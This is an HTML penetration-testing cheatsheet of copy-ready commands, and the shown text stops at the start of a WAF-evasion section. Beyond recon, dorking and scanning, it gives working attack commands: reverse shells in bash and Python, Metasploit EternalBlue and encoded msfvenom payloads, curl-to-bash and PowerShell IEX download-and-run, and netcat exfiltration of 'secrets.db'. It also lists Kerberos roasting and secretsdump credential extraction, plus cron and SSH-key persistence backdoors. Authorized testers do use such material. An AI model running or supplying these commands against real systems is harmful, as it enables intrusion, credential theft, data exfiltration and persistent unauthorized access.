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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title data-i18n="mainTitle">Penetration Testing & Vulnerability Research — Robust Cheatsheet</title>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;600&display=swap" rel="stylesheet">
<meta name="description" content="A robust and comprehensive cheatsheet for penetration testing, vulnerability research, and ethical hacking commands across OSINT, Web, Network, Exploitation, and Reversing.">
<meta name="keywords" content="penetration testing, ethical hacking, vulnerability research, cheatsheet, OSINT, Metasploit, Nmap, SQLi, XSS, reverse shell, bug bounty, cybersecurity commands, cloud security, docker, kubernetes">
<meta name="author" content="Andrey Lopukhov">
<meta name="robots" content="index, follow, noarchive">
<meta name="googlebot" content="index, follow">
<meta name="bingbot" content="index, follow">
<meta name="yandex" content="index, follow">
<style>
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white-space: pre; /* Allows horizontal scroll for long commands */
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}
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.copy-feedback {
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</style>
<link rel="icon" href="💻">
</head>
<body>
<div class="container">
<div class="header-bar">
<h1 data-i18n="mainTitle">Penetration Testing & Vulnerability Research — Robust Cheatsheet</h1>
<div class="share-buttons">
<a href="#" class="social-icon twitter" target="_blank" title="Share on X (Twitter)">
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<option value="en">English</option>
<option value="ru">Русский (Russian)</option>
<option value="he">עברית (Hebrew)</option>
<option value="fr">Français (French)</option>
<option value="de">Deutsch (German)</option>
</select>
</div>
</div>
<button id="toggleAllButton" data-i18n="toggleButtonCollapsed">Expand All</button>
<div class="warning">
<strong data-i18n="warningTitle">⚠️ AUTHORIZED USE ONLY</strong>
<p data-i18n="warningBody">Run these commands only in lab environments or on targets you have explicit written permission to test.</p>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section1Title" data-target="section-1">
1) Recon & OSINT
<span class="chip-container"><span class="chip">OSINT</span><span class="chip">Recon</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section1Desc">Footprinting, WHOIS, DNS lookups, and passive certificate data gathering.</p>
<div id="section-1" class="section-content">
<p class="command-desc" data-i18n="section1CommandDesc">Commands gather domain info, DNS records, HTTP headers, and passive certificate/host data.</p>
<p class="command-desc"># Set target</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>TARGET=example.com
</code></pre>
<p class="command-desc">WHOIS lookup</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>whois $TARGET
</code></pre>
<p class="command-desc">DNS: A + MX + NS records</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>dig +noall +answer $TARGET A
dig +noall +answer $TARGET MX
dig +noall +answer $TARGET NS
</code></pre>
<p class="command-desc">HTTP headers check</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>curl -I -L --max-redirs 5 https://$TARGET
</code></pre>
<p class="command-desc">Certificate names (crt.sh)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u
</code></pre>
<p class="command-desc">Passive OSINT (AUTHORIZED USE ONLY)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>theharvester -d example.com -b google,bing,linkedin -l 500
shodan host 1.2.3.4
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section2Title" data-target="section-2">
2) Recon: Search Engine Dorking & Exposed Assets
<span class="chip-container"><span class="chip">OSINT</span><span class="chip">Dorking</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section2Desc">Using advanced search operators (Dorks) on Google, Bing, and Yandex to discover exposed files, directories, and misconfigurations.</p>
<div id="section-2" class="section-content">
<p class="command-desc" data-i18n="section2CommandDesc">These dorks work across all major search engines and are crucial for external reconnaissance.</p>
<p class="command-desc"># Find sensitive files (.pdf, .xls) on target domain</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>site:target.com filetype:pdf confidential
site:target.com filetype:xls password
</code></pre>
<p class="command-desc">Find public login/admin panels</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>intitle:"login page" inurl:admin site:target.com
</code></pre>
<p class="command-desc">Find exposed configuration or log files</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>inurl:wp-config.php OR inurl:.env filetype:txt
intitle:"index of /" log
</code></pre>
<p class="command-desc">Find cached pages to check for old data exposure</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>cache:https://target.com/page-with-old-data
</code></pre>
<p class="command-desc">Restrict results to a specific file type AND title match</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>intitle:"report" filetype:docx site:target.com
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section3Title" data-target="section-3">
3) Cloud & Infrastructure Recon (AWS/Azure)
<span class="chip-container"><span class="chip">Cloud</span><span class="chip">OSINT</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section3Desc">Searching for exposed cloud assets, S3 buckets, Azure blob storage, and DNS configuration flaws.</p>
<div id="section-3" class="section-content">
<p class="command-desc" data-i18n="section3CommandDesc">Checking common cloud storage misconfigurations and DNS records pointing to cloud services.</p>
<p class="command-desc"># Google Dork: Exposed S3 Buckets</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>site:s3.amazonaws.com inurl:target-bucket-name
</code></pre>
<p class="command-desc">Google Dork: Azure Blob Storage</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>site:blob.core.windows.net target-company-name
</code></pre>
<p class="command-desc">DNS Check: AWS S3 Takeover vulnerability (CNAME pointing to non-existent bucket)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>dig CNAME target.com | grep s3.amazonaws.com
</code></pre>
<p class="command-desc">Checking for exposed API Keys/Credentials in public source code repos (GitHub Dork)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>"AKIA" OR "aws_secret_access_key" OR "client_secret" filename:.env
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section4Title" data-target="section-4">
4) Subdomain & DNS Enumeration
<span class="chip-container"><span class="chip">DNS</span><span class="chip">Subdomain</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section4Desc">Discovering subdomains and advanced DNS records using specialized tools.</p>
<div id="section-4" class="section-content">
<p class="command-desc" data-i18n="section4CommandDesc">Uses Amass and Subfinder for comprehensive target scope, combining passive and active sources.</p>
<p class="command-desc"># Amass (passive + active + brute)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>amass enum -d example.com -o amass.txt
</code></pre>
<p class="command-desc">Subfinder (fast passive)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>subfinder -d example.com -o subfinder.txt
</code></pre>
<p class="command-desc">DNS recon</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>dnsrecon -d example.com -t std,brt,srv
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section5Title" data-target="section-5">
5) Network & Directory Services (SMB/AD)
<span class="chip-container"><span class="chip">Network</span><span class="chip">AD</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section5Desc">Aggressive port scanning, service versioning, and initial enumeration of domain services (SMB, LDAP).</p>
<div id="section-5" class="section-content">
<p class="command-desc" data-i18n="section5CommandDesc">The Nmap command is a safe, thorough pattern; specific checks for Active Directory/Windows services are included.</p>
<p class="command-desc"># Nmap (version, default scripts, full ports)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nmap -sC -sV -p- -T4 --min-rate 1000 -oA nmap-full 192.0.2.0/24
</code></pre>
<p class="command-desc">SMB Share Enumeration (lab only)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>smbclient -L //192.0.2.10 -N
</code></pre>
<p class="command-desc">LDAP/Kerberos Service Check (Nmap script)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nmap -p 88,389,445 --script=krb5-enum-users --script-args userdb=users.txt 192.0.2.10
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section6Title" data-target="section-6">
6) Web Discovery & Fuzzing (APIs/Content)
<span class="chip-container"><span class="chip">Web</span><span class="chip">Fuzzing</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section6Desc">Bruteforcing directories, files, virtual hosts, and API endpoints for hidden functionality.</p>
<div id="section-6" class="section-content">
<p class="command-desc" data-i18n="section6CommandDesc">Uses ffuf and gobuster for content discovery, including API endpoint discovery patterns.</p>
<p class="command-desc"># ffuf (directory/file fuzzing)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302 -o ffuf.json
</code></pre>
<p class="command-desc">gobuster (API endpoint discovery)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>gobuster dir -u https://api.example.com/v1/ -w /usr/share/wordlists/api-endpoints.txt -o api-gobust.txt
</code></pre>
<p class="command-desc">ffuf (VHost fuzzing)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.example.com" -u https://example.com/ -o vhost.json
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section7Title" data-target="section-7">
7) Web Application & API Security Testing
<span class="chip-container"><span class="chip">Webapp</span><span class="chip">API</span><span class="chip">SQLi</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section7Desc">Quick vulnerability checks for SQLi, XSS, SSRF, and API parameter enumeration.</p>
<div id="section-7" class="section-content">
<p class="command-desc" data-i18n="section7CommandDesc">Tools for checking common OWASP Top 10 flaws and API layer diagnostics. **Lab use only.**</p>
<p class="command-desc"># nikto (webserver checks)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nikto -h https://example.com -output nikto.txt
</code></pre>
<p class="command-desc">sqlmap (SQL Injection - ONLY in-scope & lab)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>sqlmap -u "https://example.com/vuln.php?id=1" --batch --dbs
</code></pre>
<p class="command-desc">SSRF (Server-Side Request Forgery) check (using Burp Collaborator/Interact.sh payload)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>curl -X POST -d '{"url":"http://collaborator.net/test"}' https://api.example.com/endpoint
</code></pre>
<p class="command-desc">parameter discovery (Arjun)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>arjun -u "https://example.com/page" -o arjun.txt
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section8Title" data-target="section-8">
8) Vulnerability Scanning & SCA (Open Source)
<span class="chip-container"><span class="chip">CVE</span><span class="chip">SBOM</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section8Desc">Automated vulnerability template scanning, SBOM generation, and dependency analysis for open source risks.</p>
<div id="section-8" class="section-content">
<p class="command-desc" data-i18n="section8CommandDesc">Uses open-source tools for infrastructure scanning (Nuclei) and dependency analysis (Syft/Grype).</p>
<p class="command-desc"># nuclei (fast templates)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nuclei -l hosts.txt -t cves/ -o nuclei_results.txt
</code></pre>
<p class="command-desc">syft -> generate SBOM (Software Bill of Materials)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>syft packages dir:./project -o cyclonedx-json > sbom.json
</code></pre>
<p class="command-desc">grype -> scan SBOM (checks CVEs against known dependencies)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>grype sbom:sbom.json
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section9Title" data-target="section-9">
9) Passwords & Credentials Tooling (AD/Kerberos)
<span class="chip-container"><span class="chip">Passwords</span><span class="chip">AD</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section9Desc">Online bruteforce (authorized only), offline hash cracking, and Active Directory enumeration tools (Kerberoasting, secretsdump).</p>
<div id="section-9" class="section-content">
<p class="command-desc" data-i18n="section9CommandDesc">Standard tools for credential testing, hash cracking, and AD environment assessment.</p>
<p class="command-desc"># hydra (online bruteforce) - AUTHORIZED ONLY</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>hydra -L users.txt -P passwords.txt -t 4 ssh://192.0.2.10 -o hydra-ssh.txt
</code></pre>
<p class="command-desc">hashcat (offline cracking - fast)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>hashcat -m 1000 -a 0 hashfile.txt /usr/share/wordlists/rockyou.txt
</code></pre>
<p class="command-desc">impacket (extract Windows hashes)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>python3 /opt/impacket/examples/secretsdump.py domain/USER:PASS@192.0.2.10 -outputfile secrets
</code></pre>
<p class="command-desc">AS-REP Roasting (get unauthenticated Kerberos hashes)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -format hashcat
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section10Title" data-target="section-10">
10) Exploitation: Metasploit & Exploit Consoles
<span class="chip-container"><span class="chip">Exploit</span><span class="chip">MSF</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section10Desc">Core Metasploit commands for searching, configuring, and executing exploits. **Lab use only.**</p>
<div id="section-10" class="section-content">
<p class="command-desc" data-i18n="section10CommandDesc">A template workflow for using auxiliary and exploit modules in the Metasploit console.</p>
<p class="command-desc"># start msfconsole</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>msfconsole
</code></pre>
<p class="command-desc">search and use exploit</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>search cve:2017-0143
use exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p class="command-desc">set options and check</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>set RHOSTS 192.168.1.0/24
set PAYLOAD windows/meterpreter/reverse_tcp
check
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section11Title" data-target="section-11">
11) Post-Exploitation: Reverse Shells & Enumeration
<span class="chip-container"><span class="chip">Shell</span><span class="chip">Privesc</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section11Desc">Listener commands, common reverse shell one-liners, and local privilege escalation helpers. **Lab use only.**</p>
<div id="section-11" class="section-content">
<p class="command-desc" data-i18n="section11CommandDesc">Essential commands for establishing remote access and host reconnaissance.</p>
<p class="command-desc"># netcat listener (catch reverse shells)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nc -lvnp 4444
</code></pre>
<p class="command-desc">bash reverse shell</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
</code></pre>
<p class="command-desc">python reverse shell (stable)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
</code></pre>
<p class="command-desc">linux enumeration (LinPEAS)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>curl -sL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section12Title" data-target="section-12">
12) Network & TLS Checks
<span class="chip-container"><span class="chip">Network</span><span class="chip">TLS</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section12Desc">Traffic capture, packet analysis, and SSL/TLS configuration checks.</p>
<div id="section-12" class="section-content">
<p class="command-desc" data-i18n="section12CommandDesc">Commands for network diagnostics and assessing the cryptographic strength of web endpoints.</p>
<p class="command-desc"># tcpdump (capture 1000 packets on eth0)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>tcpdump -i eth0 -w capture.pcap -c 1000
</code></pre>
<p class="command-desc">tshark read (filter HTTP)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
</code></pre>
<p class="command-desc">sslyze (comprehensive TLS scan)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>sslyze --regular example.com:443
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section13Title" data-target="section-13">
13) Vulnerability Research & PoC Triage
<span class="chip-container"><span class="chip">VulnRes</span><span class="chip">PoC</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section13Desc">Searching local exploit databases and safely running proof-of-concept code in isolation.</p>
<div id="section-13" class="section-content">
<p class="command-desc" data-i18n="section13CommandDesc">Emphasizes local search (searchsploit) and the use of network-isolated containers to prevent lateral movement.</p>
<p class="command-desc"># searchsploit</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>searchsploit "CVE-2021-44228"
searchsploit -m 49993 # copy exploit by EDB ID
</code></pre>
<p class="command-desc">run PoC inside an isolated, no-network container (safest approach)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>docker run --rm -v /tmp/poc.py:/poc/poc.py --network none -it python:3.10 bash -c "python /poc/poc.py"
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section14Title" data-target="section-14">
14) Binary Reversing & Exploit Development
<span class="chip-container"><span class="chip">Reverse</span><span class="chip">Pwn</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section14Desc">Static analysis (ELF), ROP gadget hunting, and interactive debugging setup.</p>
<div id="section-14" class="section-content">
<p class="command-desc" data-i18n="section14CommandDesc">Tools used for analyzing executable file headers, assembly code, and preparing buffer overflow exploits.</p>
<p class="command-desc"># ELF inspection</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>readelf -h binary
objdump -d binary | less
strings binary
</code></pre>
<p class="command-desc">ropgadget (search for pop/ret gadgets)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>ropgadget --binary binary --only "pop|ret" > gadgets.txt
</code></pre>
<p class="command-desc">gdb + pwndbg (start debugging session)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>gdb -q ./binary
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section15Title" data-target="section-15">
15) Fuzzing
<span class="chip-container"><span class="chip">Fuzzing</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section15Desc">Instrumented binary fuzzing and HTTP request fuzzing for input discovery.</p>
<div id="section-15" class="section-content">
<p class="command-desc" data-i18n="section15CommandDesc">AFL is used for finding crashes in C/C++ binaries; Wfuzz is used for black-box web fuzzing.</p>
<p class="command-desc"># AFL (instrumented binary)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>afl-fuzz -i in_dir -o out_dir -- ./target @@
</code></pre>
<p class="command-desc">wfuzz for HTTP (parameter discovery)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>wfuzz -c -z file,/usr/share/wordlists/parameters.txt --hc 404 "https://example.com/vuln?FUZZ=1"
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section16Title" data-target="section-16">
16) Mobile & Firmware Analysis
<span class="chip-container"><span class="chip">Mobile</span><span class="chip">Firmware</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section16Desc">Decompilation of APKs, dynamic runtime analysis (Frida), and firmware extraction.</p>
<div id="section-16" class="section-content">
<p class="command-desc" data-i18n="section16CommandDesc">Commands for static and dynamic analysis of Android apps and embedded system binaries.</p>
<p class="command-desc"># android decompile / inspect (jadx)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>jadx -d out app.apk
</code></pre>
<p class="command-desc">frida (dynamic hooks) - authorized/lab only</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>frida -U -f com.example.app -l script.js --no-pause
</code></pre>
<p class="command-desc">firmware extraction (binwalk)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>binwalk -e firmware.bin
strings firmware.bin | grep -i password
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section17Title" data-target="section-17">
17) Container & Kubernetes Hardening
<span class="chip-container"><span class="chip">Docker</span><span class="chip">K8s</span></span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section17Desc">Assessing container misconfigurations, privilege escalation within Docker, and basic K8s pod checks.</p>
<div id="section-17" class="section-content">
<p class="command-desc" data-i18n="section17CommandDesc">Commands for checking Docker security posture and common container escape vectors.</p>
<p class="command-desc"># check docker configuration (host)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>docker info --format '{{.SecurityOptions}}'
</code></pre>
<p class="command-desc">check for privileged containers (host)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>docker ps --filter 'privileged=true'
</code></pre>
<p class="command-desc">k8s: list running pods in default namespace</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>kubectl get pods -n default
</code></pre>
<p class="command-desc">k8s: exec into a pod for internal enumeration</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>kubectl exec -it pod-name -- /bin/bash
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section18Title" data-target="section-18">
18) Evasion & msfvenom Payloads
<span class="chip-container">
<span class="chip">Exploit</span>
<span class="chip">Evasion</span>
<span class="chip">MSF</span>
</span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section18Desc">Generating and encoding reverse shell payloads. **AUTHORIZED USE ONLY.**</p>
<div id="section-18" class="section-content">
<p class="command-desc" data-i18n="section18CommandDesc">Use the '-e' flag for evasion (encoding) and the '-f' flag for different output formats.</p>
<p class="command-desc"># Windows Reverse Shell (Encoded 3 times)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > /root/Desktop/payload-enc.exe
</code></pre>
<p class="command-desc">Linux Python Reverse Shell (Raw Output, useful for injection)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>msfvenom -p cmd/unix/reverse_python LHOST=10.0.0.5 LPORT=4444 -f raw
</code></pre>
<p class="command-desc">PHP Web Shell for Upload Vulnerabilities</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f raw > shell.php
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section19Title" data-target="section-19">
19) File Transfer (In-Memory & On-Disk)
<span class="chip-container">
<span class="chip">Payload</span>
<span class="chip">Exfil</span>
</span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section19Desc">Common methods to transfer files to and from a compromised host (Linux/Windows).</p>
<div id="section-19" class="section-content">
<p class="command-desc" data-i18n="section19CommandDesc">Essential techniques using native binaries (curl, wget) and common languages (Python, Netcat).</p>
<p class="command-desc"># Attacker: Python HTTP Server (Serving files)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>python3 -m http.server 8000
</code></pre>
<p class="command-desc">Target (Linux): Download file via curl (In-Memory execution, safer)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>curl http://10.0.0.5:8000/script.sh | bash
</code></pre>
<p class="command-desc">Target: Netcat Transfer (Send file: 'secrets.db' to Attacker IP: 10.0.0.5)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>nc 10.0.0.5 8888 < secrets.db
</code></pre>
<p class="command-desc">Target (Windows): Download file via PowerShell (IEX)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5:8000/shell.ps1')
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section20Title" data-target="section-20">
20) Tunneling & Pivoting
<span class="chip-container">
<span class="chip">Network</span>
<span class="chip">Pivot</span>
</span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section20Desc">Establishing network access to otherwise unreachable internal networks from a compromised host (pivoting).</p>
<div id="section-20" class="section-content">
<p class="command-desc" data-i18n="section20CommandDesc">Utilizing SSH, Meterpreter, and native tools to create port forwards and SOCKS proxies.</p>
<p class="command-desc"># Local SSH Port Forward (Tunnel local port to remote target)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>ssh -L 8080:192.168.1.10:80 user@jumpbox.corp
</code></pre>
<p class="command-desc">Reverse SSH Tunnel (Target connects back to attacker to create a forward)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>ssh -R 9000:127.0.0.1:80 user@10.0.0.5
</code></pre>
<p class="command-desc">SOCKS Proxy via Chisel (Attacker: SOCKS server)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>./chisel server -p 8000 --socks5
</code></pre>
<p class="command-desc">Chisel (Target: Connect to server and create tunnel)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>./chisel client 10.0.0.5:8000 R:1080:socks
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section21Title" data-target="section-21">
21) Persistence & Backdoors
<span class="chip-container">
<span class="chip">Persistence</span>
<span class="chip">Backdoor</span>
</span>
<span class="toggle-icon" data-expanded="🔓" data-collapsed="🔒">🔒</span>
</h2>
<p class="section-desc" data-i18n="section21Desc">Establishing unauthorized, persistent access via cron jobs, systemd, or binary modification. **DEFENSIVE EDUCATION ONLY.**</p>
<div id="section-21" class="section-content">
<p class="command-desc" data-i18n="section21CommandDesc">Common techniques used by adversaries to maintain access after an initial compromise.</p>
<p class="command-desc"># Linux: Cron job persistence (runs every minute)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>echo '* * * * * root /usr/bin/nc -e /bin/bash 10.0.0.5 4444' >> /etc/crontab
</code></pre>
<p class="command-desc">Linux: SSH Authorized Keys (Add attacker's public key)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>echo "ssh-rsa AAAAB3Nz..." >> /home/user/.ssh/authorized_keys
</code></pre>
<p class="command-desc">Windows: Startup Folder (copy malicious executable)</p>
<pre class="command-block">
<span class="copy-feedback" data-i18n="copyButtonText">Copy</span><code>copy payload.exe "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
</code></pre>
</div>
</div>
<div class="section-container">
<h2 class="section-header" data-i18n="section22Title" data-target="section-22">
22) Web Filtering Evasion (WAF/IDPS)
<span class="chip-container">
<span class="chip">Evasion</span>